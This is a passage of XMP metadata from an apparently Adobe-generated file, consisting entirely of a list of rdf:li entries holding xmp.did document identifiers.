               <rdf:li>xmp.did:216EA2C971D1DF11A9A9AAF92A4138CE</rdf:li>
               <rdf:li>xmp.did:21850E5A8684E0118459818DD02BD499</rdf:li>
               <rdf:li>xmp.did:219911BF2F6BE0118B53B756951DDF56</rdf:li>
               <rdf:li>xmp.did:21AA461E67C1DF11936FCDDF67FFE390</rdf:li>
               <rdf:li>xmp.did:21B94F61DAABDF118EBF85C265536C69</rdf:li>
               <rdf:li>xmp.did:21BCF77D6204E2118B88C0833978F058</rdf:li>
               <rdf:li>xmp.did:21D2C30BAE21681192B0F606EC9CF3FA</rdf:li>
               <rdf:li>xmp.did:21E3D5ADE15411E09AE6B37892548B76</rdf:li>
               <rdf:li>xmp.did:2200D1EF5BB3E0119546F246C91D3872</rdf:li>
               <rdf:li>xmp.did:220C18881B21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:22934BDAA19AE1118514B995BC79EFA8</rdf:li>
               <rdf:li>xmp.did:2295A6B158D0E011B054AC33491F95CA</rdf:li>
               <rdf:li>xmp.did:22BFF6B598EF11E0BD518E09C122C174</rdf:li>
               <rdf:li>xmp.did:22C0BEDC1806E211BBF5E5A8AB766859</rdf:li>
               <rdf:li>xmp.did:2313732E20081168A6FD9E02138B5F40</rdf:li>
               <rdf:li>xmp.did:2322968D69BFE0118B808BF656F27B83</rdf:li>
               <rdf:li>xmp.did:23301B1D792068118083982FE4C6204F</rdf:li>
               <rdf:li>xmp.did:233270CDBA206811BAC7A817D1EDAD8E</rdf:li>
               <rdf:li>xmp.did:233CDBFC62BFDE118D6FB67E48281758</rdf:li>
               <rdf:li>xmp.did:234A9D729421DF119109F0ACE0E21257</rdf:li>
               <rdf:li>xmp.did:2354DBCDC557DF11A4CDEE669799F3B1</rdf:li>
               <rdf:li>xmp.did:2394DF3F13CADE119AF59113C51E0990</rdf:li>
               <rdf:li>xmp.did:23AA461E67C1DF11936FCDDF67FFE390</rdf:li>
               <rdf:li>xmp.did:242772DC4514E1119D84976B2C8AB75A</rdf:li>
               <rdf:li>xmp.did:24881339BEA5E1119401F15FC606D9C7</rdf:li>
               <rdf:li>xmp.did:249077570A206811910986D9CD6AC386</rdf:li>
               <rdf:li>xmp.did:249E82EA9E67E111B7A4E752F9A9FED8</rdf:li>
               <rdf:li>xmp.did:249ECF072BFEDF1196FEEFF1E699BCF4</rdf:li>
               <rdf:li>xmp.did:24DB6F8345EBE01187E5CAF2236FF969</rdf:li>
               <rdf:li>xmp.did:24DE300A77FADF11957CB6C8F2BB99C0</rdf:li>
               <rdf:li>xmp.did:24E37BCF1A20681191099D4256FC58DA</rdf:li>
               <rdf:li>xmp.did:250F37FDBE65DF1196A2E5386EB7EFBF</rdf:li>
               <rdf:li>xmp.did:25126E8CC961E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:25142A44CF3DE111AC8BF0F55C89DC4B</rdf:li>
               <rdf:li>xmp.did:251A21E4102068118F62E190263115F9</rdf:li>
               <rdf:li>xmp.did:252772DC4514E1119D84976B2C8AB75A</rdf:li>
               <rdf:li>xmp.did:252A728E65BBDF11B714F0C6E94ABD01</rdf:li>
               <rdf:li>xmp.did:253270CDBA206811BAC7A817D1EDAD8E</rdf:li>
               <rdf:li>xmp.did:25354F64B45711DFA340B492EA9BFCC0</rdf:li>
               <rdf:li>xmp.did:25481FF6A7206811B560FCE792BD8256</rdf:li>
               <rdf:li>xmp.did:255A23532E95E1119034DB56C34D7450</rdf:li>
               <rdf:li>xmp.did:25AA461E67C1DF11936FCDDF67FFE390</rdf:li>
               <rdf:li>xmp.did:25DEC1991220681191099CF6802DA3EB</rdf:li>
               <rdf:li>xmp.did:25E8C821F65DE011BB0EAD528CC88556</rdf:li>
               <rdf:li>xmp.did:25ECD92C04CDE211B116DDEB2A8CB241</rdf:li>
               <rdf:li>xmp.did:26204E76072068118A6D955A576403A1</rdf:li>
               <rdf:li>xmp.did:26268A4C84F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:262772DC4514E1119D84976B2C8AB75A</rdf:li>
               <rdf:li>xmp.did:2637287A2269E2119DEEF600D724E702</rdf:li>
               <rdf:li>xmp.did:26592560FEB3E111AA5AF88BE2304BF9</rdf:li>
               <rdf:li>xmp.did:267A70FFD257E011A551F15593603B5A</rdf:li>
               <rdf:li>xmp.did:269EB9520F2068118F62FE785C20E3F5</rdf:li>
               <rdf:li>xmp.did:26A7FC9E092068118DBBAD0D202BA5BB</rdf:li>
               <rdf:li>xmp.did:26AE56BBFB60DF119E238757E43BEA24</rdf:li>
               <rdf:li>xmp.did:270681330F2068119109D9BE6806419B</rdf:li>
               <rdf:li>xmp.did:271D9009A9A0E01188B3D59C3D6D8E4F</rdf:li>
               <rdf:li>xmp.did:272F0644E007E211B888C8468E8DF79E</rdf:li>
               <rdf:li>xmp.did:27305375072068118A6DB4BBC8F8D86B</rdf:li>
               <rdf:li>xmp.did:2749DAC169E0DF11BAE2A9F4FA1C730E</rdf:li>
               <rdf:li>xmp.did:2770A39A41236811994CAA9908F19741</rdf:li>
               <rdf:li>xmp.did:278265F98119E1118FE1AF0EEF6E60AF</rdf:li>
               <rdf:li>xmp.did:27AA461E67C1DF11936FCDDF67FFE390</rdf:li>
               <rdf:li>xmp.did:27C109D5ACDEDF11BAACCFE187E6E735</rdf:li>
               <rdf:li>xmp.did:280681330F2068119109D9BE6806419B</rdf:li>
               <rdf:li>xmp.did:2811DFD3D563DF11BF2E83BA96F888B4</rdf:li>
               <rdf:li>xmp.did:282772DC4514E1119D84976B2C8AB75A</rdf:li>
               <rdf:li>xmp.did:282F44E5EFE9DF11A2C6F6A60B573B0E</rdf:li>
               <rdf:li>xmp.did:2837D18F072068118DBBB19DA32EB464</rdf:li>
               <rdf:li>xmp.did:2840C7BA43DAE011A31198987A7A86BB</rdf:li>
               <rdf:li>xmp.did:2849CEDE8D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:284D5A5B08206811BE9C88FB4F6D925B</rdf:li>
               <rdf:li>xmp.did:28713FE382CDE01196B9F55DF48964DF</rdf:li>
               <rdf:li>xmp.did:2877DFF125206811871F92C91D0752B0</rdf:li>
               <rdf:li>xmp.did:28AA72338E216811A961EA22B9CCE462</rdf:li>
               <rdf:li>xmp.did:28CDCBC82E20681188C6B84DEAD741A5</rdf:li>
               <rdf:li>xmp.did:28E2A747B72068118C14DC4A27A873AE</rdf:li>
               <rdf:li>xmp.did:28EEA9B79AD5DF119648F8511B7417D3</rdf:li>
               <rdf:li>xmp.did:28EEAF508EEFE011857193D706463FBF</rdf:li>
               <rdf:li>xmp.did:28F01B19A23BE01198E1F1D3FC98D2BC</rdf:li>
               <rdf:li>xmp.did:28F8CF565FC6E111A8CAFAB6C899CCB4</rdf:li>
               <rdf:li>xmp.did:2905C06B85206811BC5CFAB529697BBA</rdf:li>
               <rdf:li>xmp.did:2920DF0F3082E0118628FD4D82A2A505</rdf:li>
               <rdf:li>xmp.did:2928DC004423E01199ECC9B0A3B730D7</rdf:li>
               <rdf:li>xmp.did:29339019AE55E0119C03A862C7BF6F88</rdf:li>
               <rdf:li>xmp.did:2942D14B89AAE111A8C2D401F1554819</rdf:li>
               <rdf:li>xmp.did:298B4D5D11206811920BD6CB55DF7E21</rdf:li>
               <rdf:li>xmp.did:29DE6DB307206811B4F2ECC5CA197BE3</rdf:li>
               <rdf:li>xmp.did:2A2118970D2068119109FC901257E622</rdf:li>
               <rdf:li>xmp.did:2A3B2B06982068118A6DE97127904156</rdf:li>
               <rdf:li>xmp.did:2A3D854F0A2168119109FB109986C91C</rdf:li>
               <rdf:li>xmp.did:2A474F7D19DAE011ABC1EFB64D397171</rdf:li>
               <rdf:li>xmp.did:2A49CEDE8D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:2A58D1924714E1119D84976B2C8AB75A</rdf:li>
               <rdf:li>xmp.did:2A59DC9C1520681197A5F32EA6CCFD93</rdf:li>
               <rdf:li>xmp.did:2A8DADA9201EE011842A99364FEBD0F6</rdf:li>
               <rdf:li>xmp.did:2ABB75037D1A11DFBF66D19AE0AB5B1B</rdf:li>
               <rdf:li>xmp.did:2AC75157A8C0E0119D2B8758020336A1</rdf:li>
               <rdf:li>xmp.did:2ACF258E325DE011A1A5CBD15F1C5D8A</rdf:li>
               <rdf:li>xmp.did:2ADE300A77FADF11957CB6C8F2BB99C0</rdf:li>
               <rdf:li>xmp.did:2AE70275072068118A6DB61EA12CE152</rdf:li>
               <rdf:li>xmp.did:2B0BC32894E6DF11ACC4B48328A5C0E9</rdf:li>
               <rdf:li>xmp.did:2B0FAC131420681188C69B8C88BD3CC1</rdf:li>
               <rdf:li>xmp.did:2B1AA3CF538FE0119333C691B7ECC124</rdf:li>
               <rdf:li>xmp.did:2B36329854F6DF11872A9BEB0C6B9535</rdf:li>
               <rdf:li>xmp.did:2B3B2B06982068118A6DE97127904156</rdf:li>
               <rdf:li>xmp.did:2B3C4F7850A711DFB308B0BD78CF6AE3</rdf:li>
               <rdf:li>xmp.did:2B49DAC169E0DF11BAE2A9F4FA1C730E</rdf:li>
               <rdf:li>xmp.did:2B96ECDBAA206811871FA3C05390F8E2</rdf:li>
               <rdf:li>xmp.did:2B972EFEA741E111A02D9467BEF8E7E1</rdf:li>
               <rdf:li>xmp.did:2BE70275072068118A6DB61EA12CE152</rdf:li>
               <rdf:li>xmp.did:2BFC16FF6AEEDF11B235B1FF12C0CCAC</rdf:li>
               <rdf:li>xmp.did:2C12661F16216811B840D851FFEFE01F</rdf:li>
               <rdf:li>xmp.did:2C29419F8F99DF1182FAD8B1082A3AC1</rdf:li>
               <rdf:li>xmp.did:2C46390A7D4911E0A66DC919951D3F2B</rdf:li>
               <rdf:li>xmp.did:2C514E4873D111E0B183883F507A6AA6</rdf:li>
               <rdf:li>xmp.did:2C58D1924714E1119D84976B2C8AB75A</rdf:li>
               <rdf:li>xmp.did:2C90511B4823E011A604D29FE708717A</rdf:li>
               <rdf:li>xmp.did:2CC971D6DCE1DF1193B8A11A80F46236</rdf:li>
               <rdf:li>xmp.did:2CF6E21D02D8E011B88ED1EF69222190</rdf:li>
               <rdf:li>xmp.did:2D0FAC131420681188C69B8C88BD3CC1</rdf:li>
               <rdf:li>xmp.did:2D12661F16216811B840D851FFEFE01F</rdf:li>
               <rdf:li>xmp.did:2D33A9C34668E111AAEBC104034FA4CC</rdf:li>
               <rdf:li>xmp.did:2D485EFC7DB511E28EB1B00538CF80F9</rdf:li>
               <rdf:li>xmp.did:2D7DB7AB53C1E21192529C80413AA302</rdf:li>
               <rdf:li>xmp.did:2DA10A1CB52868118F62D4D87EE0E65D</rdf:li>
               <rdf:li>xmp.did:2DA2E4C6F3BCE011B0BBD5E3244285CA</rdf:li>
               <rdf:li>xmp.did:2DAA0530A25FE011AC6BE7C1369B75B8</rdf:li>
               <rdf:li>xmp.did:2DBADA3CA2B3E011A8B593C8AF3824C9</rdf:li>
               <rdf:li>xmp.did:2DDE6DB307206811B4F2ECC5CA197BE3</rdf:li>
               <rdf:li>xmp.did:2DE1C03C5734E011AED69D90325CB47C</rdf:li>
               <rdf:li>xmp.did:2DE9B3EEA3246811A961AF349CA669AF</rdf:li>
               <rdf:li>xmp.did:2E022BBA40206811AFEDB4DC5A5EDBC9</rdf:li>
               <rdf:li>xmp.did:2E229BE45760E0118647B4BD29669B78</rdf:li>
               <rdf:li>xmp.did:2E2C9A75072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:2E49B3AE9B1F11E0A8528DA95BBD9874</rdf:li>
               <rdf:li>xmp.did:2E4A134843CCE011907C944EF181D2E5</rdf:li>
               <rdf:li>xmp.did:2E6D5E9ECCA7E011A811C19201044019</rdf:li>
               <rdf:li>xmp.did:2E6D6C68472068118F62C33B37A7F60E</rdf:li>
               <rdf:li>xmp.did:2E6F667407206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:2E833BFA9721681192B09EA87DD866B7</rdf:li>
               <rdf:li>xmp.did:2EC46576DF246811994C95D215E3C31B</rdf:li>
               <rdf:li>xmp.did:2EC53674072068118A6DB61EA12CE152</rdf:li>
               <rdf:li>xmp.did:2ECF258E325DE011A1A5CBD15F1C5D8A</rdf:li>
               <rdf:li>xmp.did:2ED26D00412068118151C4F115CADA6A</rdf:li>
               <rdf:li>xmp.did:2EE6352422ABE1119071877A557E3206</rdf:li>
               <rdf:li>xmp.did:2F0FAC131420681188C69B8C88BD3CC1</rdf:li>
               <rdf:li>xmp.did:2F12073BF34711E1A7B088B7F98EA6AA</rdf:li>
               <rdf:li>xmp.did:2F157D0A732DE211ADF994BBC0768B75</rdf:li>
               <rdf:li>xmp.did:2F245634F6B0DE11AEE3D29F30DDC93D</rdf:li>
               <rdf:li>xmp.did:2F290AB9132068119109C80A4C3147BC</rdf:li>
               <rdf:li>xmp.did:2F2C9A75072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:2F72FA89889ADF119FE3A35965264712</rdf:li>
               <rdf:li>xmp.did:2F9782BF00C8E011BEF0A37AC8AFF6B8</rdf:li>
               <rdf:li>xmp.did:2FC0DE389792E01190998BC1487322AF</rdf:li>
               <rdf:li>xmp.did:2FF26B6BEF98E1118514B995BC79EFA8</rdf:li>
               <rdf:li>xmp.did:2FF567B87D4C11DF9CBAD60ED0AC638B</rdf:li>
               <rdf:li>xmp.did:300EEB198348E111BEAEB30A8512B013</rdf:li>
               <rdf:li>xmp.did:30157D0A732DE211ADF994BBC0768B75</rdf:li>
               <rdf:li>xmp.did:30199254DF8611DFBA89DEEA4C5DEA28</rdf:li>
               <rdf:li>xmp.did:30199258DF8611DFBA89DEEA4C5DEA28</rdf:li>
               <rdf:li>xmp.did:302B2464FB2AE111813897F26901095F</rdf:li>
               <rdf:li>xmp.did:30305375072068118A6DB4BBC8F8D86B</rdf:li>
               <rdf:li>xmp.did:304926B6B682DF1189148F8A4DAD931D</rdf:li>
               <rdf:li>xmp.did:30639A5C4123E011826ADF008B92143E</rdf:li>
               <rdf:li>xmp.did:30EB6D82FC0F11DF9D61AA9246C50B45</rdf:li>
               <rdf:li>xmp.did:310FAC131420681188C69B8C88BD3CC1</rdf:li>
               <rdf:li>xmp.did:31552C38272068118A6DC2EB5CD0A707</rdf:li>
               <rdf:li>xmp.did:315EC7B24277DF11A28CDB2E6E8DED8F</rdf:li>
               <rdf:li>xmp.did:3188EF82A709E111B40DAE91BF70E9AB</rdf:li>
               <rdf:li>xmp.did:31990659E1F6DE118A4D938515C27EED</rdf:li>
               <rdf:li>xmp.did:31A5ECFE7D2511DFAADB97C6C8460709</rdf:li>
               <rdf:li>xmp.did:31C6EDB7352068119109A05ED6E5C9B4</rdf:li>
               <rdf:li>xmp.did:3203D4CFCC2068118083FD66801ED6FF</rdf:li>
               <rdf:li>xmp.did:320F6C67FF67DF11A8ACD584D1573E65</rdf:li>
               <rdf:li>xmp.did:3244A954442268119109E7C43416C49B</rdf:li>
               <rdf:li>xmp.did:324E4BBBB6BDE011AD6CDA3043849D6E</rdf:li>
               <rdf:li>xmp.did:3272A723EC40DF119CD8ABA52D5F2141</rdf:li>
               <rdf:li>xmp.did:329BCEE01DC5DF11BE32C1B9EF47E762</rdf:li>
               <rdf:li>xmp.did:32A8FFE663F5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:32D52E0D0E2068118F62DA03125D4285</rdf:li>
               <rdf:li>xmp.did:32DAAC512520681192B0BE8DD628D238</rdf:li>
               <rdf:li>xmp.did:32F018B31320681192B0C09A9F8F6D74</rdf:li>
               <rdf:li>xmp.did:3302EF3B67B3E011B533BA29DECA8DEB</rdf:li>
               <rdf:li>xmp.did:330FAC131420681188C69B8C88BD3CC1</rdf:li>
               <rdf:li>xmp.did:331195460F77E11181E5AA60DEE7469F</rdf:li>
               <rdf:li>xmp.did:3317C03D586111E0B095E8BD1FD7CE6E</rdf:li>
               <rdf:li>xmp.did:331A1DE61120681191098946CB8DAAB6</rdf:li>
               <rdf:li>xmp.did:3320CC5F4D83DF119502DA170C3141E3</rdf:li>
               <rdf:li>xmp.did:3322F178C39811E181C5C20FF82F78B3</rdf:li>
               <rdf:li>xmp.did:332CDACA9F206811994C8A8243CF6DD5</rdf:li>
               <rdf:li>xmp.did:3363EBA9652CE111B0B481C570E1ABED</rdf:li>
               <rdf:li>xmp.did:3375DABE1F2068118DBBAAE1F918AC30</rdf:li>
               <rdf:li>xmp.did:3384249E2C206811871FA1D05CB7AFF8</rdf:li>
               <rdf:li>xmp.did:3399BE45EB8F11E08BAEB1EDCC8AD0E9</rdf:li>
               <rdf:li>xmp.did:33C7E929B448E011B5C5E2B2C71A8119</rdf:li>
               <rdf:li>xmp.did:3407736442206811994C8F31E5206727</rdf:li>
               <rdf:li>xmp.did:340EF1E17A20681188CCC0301896C619</rdf:li>
               <rdf:li>xmp.did:3416EA8C5120681197A5B3F7BD80E4A6</rdf:li>
               <rdf:li>xmp.did:34171119382068118F62CFDF647A2B49</rdf:li>
               <rdf:li>xmp.did:3424F194212068119457A748E286EBA1</rdf:li>
               <rdf:li>xmp.did:342B223E0699E1118A33C3C0AE6FA7DD</rdf:li>
               <rdf:li>xmp.did:3430CAFA0B2068119109A05ED6E5C9B4</rdf:li>
               <rdf:li>xmp.did:3469A8DF112068118DBBCC81981F930D</rdf:li>
               <rdf:li>xmp.did:347650373920681188C6D49E0196D4CA</rdf:li>
               <rdf:li>xmp.did:34A7E1210B206811A316F81626429431</rdf:li>
               <rdf:li>xmp.did:34C73DB7BC4ADF11A46C90A73F3DB441</rdf:li>
               <rdf:li>xmp.did:34DB833C048DE11184CEF6F844B877AD</rdf:li>
               <rdf:li>xmp.did:353C7E32B620681192B0FA0C0917E462</rdf:li>
               <rdf:li>xmp.did:354FB441312068118DBBE38DD8571038</rdf:li>
               <rdf:li>xmp.did:35B8DA6BC28A11E089A986D5CEE68CB5</rdf:li>
               <rdf:li>xmp.did:35EB815C6475E01184E4DFB008C897CA</rdf:li>
               <rdf:li>xmp.did:36142865952068119109E554154D32B1</rdf:li>
               <rdf:li>xmp.did:36232F4D813ADF11A89FA523901B3490</rdf:li>
               <rdf:li>xmp.did:362694612F0E11E2A0D4ACA684D46347</rdf:li>
               <rdf:li>xmp.did:363A8F868D206811BA24F97E9D027B47</rdf:li>
               <rdf:li>xmp.did:363DA72D895CE111AE36E2D187E1FE58</rdf:li>
               <rdf:li>xmp.did:3670DDEC20091168A6FD9E02138B5F40</rdf:li>
               <rdf:li>xmp.did:3671D4856176E011A1DFD6CB54E14716</rdf:li>
               <rdf:li>xmp.did:36AF18290C206811BC56E1514E765539</rdf:li>
               <rdf:li>xmp.did:36C863DBD4DAE1118CC1E0C7CE6212AF</rdf:li>
               <rdf:li>xmp.did:36D0BDC12D4EE011AFE6F3E4B712C80D</rdf:li>
               <rdf:li>xmp.did:36D4F75C2F38E01181DAE02DA01DE496</rdf:li>
               <rdf:li>xmp.did:36E9DD7F1F82E111B561A479E001C8F3</rdf:li>
               <rdf:li>xmp.did:3706848F6355E111AE569EC3E39C6FF3</rdf:li>
               <rdf:li>xmp.did:3716EA8C5120681197A5B3F7BD80E4A6</rdf:li>
               <rdf:li>xmp.did:37287AA9E866E211BBFE96B84E34BE54</rdf:li>
               <rdf:li>xmp.did:374FB441312068118DBBE38DD8571038</rdf:li>
               <rdf:li>xmp.did:3777AD23C143DF11AF0CE727C9EFF862</rdf:li>
               <rdf:li>xmp.did:379C0FB89BCBDE119D25AB7578FF2E29</rdf:li>
               <rdf:li>xmp.did:37B8E4F44A2568118A6D92FD3A28037E</rdf:li>
               <rdf:li>xmp.did:37BD130612D2E0118941E6128113B5FB</rdf:li>
               <rdf:li>xmp.did:37DB5F34E699E1118514B995BC79EFA8</rdf:li>
               <rdf:li>xmp.did:38157EBE224FE011B047D7F07BD7BBC0</rdf:li>
               <rdf:li>xmp.did:381B5592862AE111984FE2D779613F0D</rdf:li>
               <rdf:li>xmp.did:381F9D75072068118A6DB61EA12CE152</rdf:li>
               <rdf:li>xmp.did:382F6AAEE32168119109CA2496A1ABE5</rdf:li>
               <rdf:li>xmp.did:385422653BF711E0909EA53496E0FC1C</rdf:li>
               <rdf:li>xmp.did:3854226D3BF711E0909EA53496E0FC1C</rdf:li>
               <rdf:li>xmp.did:3892E408BD53E0118E47D5B457BBAED7</rdf:li>
               <rdf:li>xmp.did:38A0129A8F21681192B08499B73FEA31</rdf:li>
               <rdf:li>xmp.did:38C422960C20681197A5CF02E0728B84</rdf:li>
               <rdf:li>xmp.did:39185D7F2ED9E0119661C03954A2F360</rdf:li>
               <rdf:li>xmp.did:392BDC036375DF1197DDC4BDEC08C0F1</rdf:li>
               <rdf:li>xmp.did:399DEF2EF1E9DE1183AEB319878DB4AA</rdf:li>
               <rdf:li>xmp.did:39B5693ECC20E011AE528BA1852D1E76</rdf:li>
               <rdf:li>xmp.did:39B698028E5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:39BD130612D2E0118941E6128113B5FB</rdf:li>
               <rdf:li>xmp.did:3A011E5AE923681195FEAA7B3841CB4F</rdf:li>
               <rdf:li>xmp.did:3A1201C60E49E111BBEDAA07D2687961</rdf:li>
               <rdf:li>xmp.did:3A13FBA31A4EE01190FCE758FC8DFEF3</rdf:li>
               <rdf:li>xmp.did:3A62EBC4235111E0B173A65C0EC2E2AC</rdf:li>
               <rdf:li>xmp.did:3A6850363F8DE011A68BE05DED48B03D</rdf:li>
               <rdf:li>xmp.did:3A6CAF272B19E01184DD8FBD11034008</rdf:li>
               <rdf:li>xmp.did:3A6F9D92A61611DFBAD2EC08ECAC5B51</rdf:li>
               <rdf:li>xmp.did:3A76783CD0A8DF11B2A19D50FF21B8D9</rdf:li>
               <rdf:li>xmp.did:3A9529126A8FE011BCB1A86DDE40959A</rdf:li>
               <rdf:li>xmp.did:3AC43C9007206811B4F2ECC5CA197BE3</rdf:li>
               <rdf:li>xmp.did:3AD0BDC12D4EE011AFE6F3E4B712C80D</rdf:li>
               <rdf:li>xmp.did:3AE9295CC81411E09E7AC029B3EFFEB6</rdf:li>
               <rdf:li>xmp.did:3AFBCD36732068119457B4E8E216C3A8</rdf:li>
               <rdf:li>xmp.did:3B0FA35A1616DF118A59B5E2AB087CC7</rdf:li>
               <rdf:li>xmp.did:3B181674072068118A6DFF0C5FE00A41</rdf:li>
               <rdf:li>xmp.did:3B1B0E3BB56FDF118B47CFB953B6FF34</rdf:li>
               <rdf:li>xmp.did:3B1F8624D839E011AF7889CCEDBE6833</rdf:li>
               <rdf:li>xmp.did:3B44C1030C2068119109D8AADCC33AE2</rdf:li>
               <rdf:li>xmp.did:3B4EC3CC8EA0E01188B3D59C3D6D8E4F</rdf:li>
               <rdf:li>xmp.did:3B612268DAB6E01187C39E0D90EB37B5</rdf:li>
               <rdf:li>xmp.did:3BAE19D09F7AE2119604F97283DA61D7</rdf:li>
               <rdf:li>xmp.did:3BB51105757F11E1A8CEA9FD08112F94</rdf:li>
               <rdf:li>xmp.did:3BC68316686411E09158E9A9E23E13F4</rdf:li>
               <rdf:li>xmp.did:3BC6CE12C370DF11850CB72DB9D2CB92</rdf:li>
               <rdf:li>xmp.did:3BDD977B1F2068118F62F4555C5E84BE</rdf:li>
               <rdf:li>xmp.did:3BED2EB3E5C2DF118AE1D4A415604FD8</rdf:li>
               <rdf:li>xmp.did:3BFA778B9857E011862FE5C282544300</rdf:li>
               <rdf:li>xmp.did:3C14A8361721681188C6D30DA152C0CC</rdf:li>
               <rdf:li>xmp.did:3C17D9B5007011E0BAA5A546D65C57CC</rdf:li>
               <rdf:li>xmp.did:3C28CE807678DF11A779E36FEC14895D</rdf:li>
               <rdf:li>xmp.did:3C3603469AD511E08F0ABD72ABEC7BC6</rdf:li>
               <rdf:li>xmp.did:3C54B7EE4800DF11BAEACCE7A02037E4</rdf:li>
               <rdf:li>xmp.did:3C5EC015E6DA11DFB59FBE318B69A4AF</rdf:li>
               <rdf:li>xmp.did:3C7A44148EBCDF11967FAB8FFF3284C8</rdf:li>
               <rdf:li>xmp.did:3C97CA1A18B9E11197549F610867A6E4</rdf:li>
               <rdf:li>xmp.did:3CBB494529D1DF11A5339ABF8266E818</rdf:li>
               <rdf:li>xmp.did:3CDA2FE7F8B3E11190BFDB54BB690FDC</rdf:li>
               <rdf:li>xmp.did:3CFF797507206811A9A48DA9A631D3AD</rdf:li>
               <rdf:li>xmp.did:3D02E62ADF8CDF1181DCCB8E8B77F31F</rdf:li>
               <rdf:li>xmp.did:3D08902ED27ADF11B2F4C6E175BCB62D</rdf:li>
               <rdf:li>xmp.did:3D3F53F58D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:3D4C10AB93E0E1119DC7DEAC3B3ACD04</rdf:li>
               <rdf:li>xmp.did:3D4EC3CC8EA0E01188B3D59C3D6D8E4F</rdf:li>
               <rdf:li>xmp.did:3D8A26E52103E211A318A9C1001CA115</rdf:li>
               <rdf:li>xmp.did:3DAB636F7920681195FEF8DB851BEE5E</rdf:li>
               <rdf:li>xmp.did:3DB67992092068118DBBAD0D202BA5BB</rdf:li>
               <rdf:li>xmp.did:3DD372E63195E1119034DB56C34D7450</rdf:li>
               <rdf:li>xmp.did:3DE83188142068119109F4C40515621B</rdf:li>
               <rdf:li>xmp.did:3E0EFACAE32068118083A4AC324B9430</rdf:li>
               <rdf:li>xmp.did:3E16BEE00895E1118F7A94F6E2D63EAD</rdf:li>
               <rdf:li>xmp.did:3E181674072068118A6DFF0C5FE00A41</rdf:li>
               <rdf:li>xmp.did:3E61A574072068118A6DB4BBC8F8D86B</rdf:li>
               <rdf:li>xmp.did:3E71FEB5092068118DBBAD0D202BA5BB</rdf:li>
               <rdf:li>xmp.did:3E8A102C200C11688442D886113E168A</rdf:li>
               <rdf:li>xmp.did:3EA1D61226206811994CF64EE0F24AD6</rdf:li>
               <rdf:li>xmp.did:3EBA6728D72168118317ABB614DA433E</rdf:li>
               <rdf:li>xmp.did:3EDEF5023420681188C6EA7678A2413B</rdf:li>
               <rdf:li>xmp.did:3EE476995A28E0118FEFFAAC272DD9E7</rdf:li>
               <rdf:li>xmp.did:3EEE2DB5B07FE0119FBDB1C3DCB285CD</rdf:li>
               <rdf:li>xmp.did:3EFF4374A19811DFAE908FAC53CA53A3</rdf:li>
               <rdf:li>xmp.did:3F03FE890D2068118DBB87DC5A6805D9</rdf:li>
               <rdf:li>xmp.did:3F2840BBDAF4DF119B9FED66B6875A77</rdf:li>
               <rdf:li>xmp.did:3F2F3A38C6FAE0119727FF013F9942D5</rdf:li>
               <rdf:li>xmp.did:3F36C3DCC961E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:3F3B20E9D64CDF1194C6DDC2F8D81D2E</rdf:li>
               <rdf:li>xmp.did:3F3F033569C2DF11A78280209D724E33</rdf:li>
               <rdf:li>xmp.did:3F4BEF2198B3E011A8B593C8AF3824C9</rdf:li>
               <rdf:li>xmp.did:3F6B4C626AC7E011B58A93F597C8E61A</rdf:li>
               <rdf:li>xmp.did:3F727C802A20681188C6D9C4D0AF0270</rdf:li>
               <rdf:li>xmp.did:3FA591860E20681188C6AAF8EEECA0D4</rdf:li>
               <rdf:li>xmp.did:3FB9609F5BA7E011979696CECC20A286</rdf:li>
               <rdf:li>xmp.did:3FBE3CFB20206811A472E9C34FBDCB1B</rdf:li>
               <rdf:li>xmp.did:3FBE4870B799E1118514B995BC79EFA8</rdf:li>
               <rdf:li>xmp.did:3FC3447A405DE111887AFBD104E60D34</rdf:li>
               <rdf:li>xmp.did:3FD4BCD319206811BE9BD62F9D475EB1</rdf:li>
               <rdf:li>xmp.did:3FDCD0E7CC0BE211A29BDAEDD20F1F0F</rdf:li>
               <rdf:li>xmp.did:3FE4AB544E4E11E09C1D80C41CD3218B</rdf:li>
               <rdf:li>xmp.did:401F9D75072068118A6DB61EA12CE152</rdf:li>
               <rdf:li>xmp.did:4027C4D6FA70E2119F98A5E4FE91B5EE</rdf:li>
               <rdf:li>xmp.did:404FBC7E0C206811994CA059333E3D7F</rdf:li>
               <rdf:li>xmp.did:407665380375DE119523978AF517B1E0</rdf:li>
               <rdf:li>xmp.did:407BA1D2DE21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:409084A897EF11E0B557D00DE5B3C54F</rdf:li>
               <rdf:li>xmp.did:40A10020891EE21183B6901E030B101C</rdf:li>
               <rdf:li>xmp.did:40B04BD36E9A11E1806185BEAC96EABF</rdf:li>
               <rdf:li>xmp.did:40B72375072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:40BB217CBD84DF11A47CEBE628912B02</rdf:li>
               <rdf:li>xmp.did:40F5E85E7ECDE011A9998254DA7B207E</rdf:li>
               <rdf:li>xmp.did:40FA99B9A70C11E0A9DCC2254C1C7A39</rdf:li>
               <rdf:li>xmp.did:41144A9F5CBBE011A9CDC1CC5A8545F0</rdf:li>
               <rdf:li>xmp.did:41178B8188D4DD11BF828F18DEEAE683</rdf:li>
               <rdf:li>xmp.did:41191B19094BE011A2D1C8F325D0EB73</rdf:li>
               <rdf:li>xmp.did:4136C3DCC961E11197A9F5DF3E1AE541</rdf:li>
               <rdf:li>xmp.did:413F53F58D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:417395782FEFE011AE30BF8668AC7C6E</rdf:li>
               <rdf:li>xmp.did:41DEF5023420681188C6EA7678A2413B</rdf:li>
               <rdf:li>xmp.did:4249346F1F91E011B860D11F6292CA11</rdf:li>
               <rdf:li>xmp.did:42611933C6E9DF119366D222F59B492C</rdf:li>
               <rdf:li>xmp.did:426956A63C7EDF11A5A4E9065FAC704C</rdf:li>
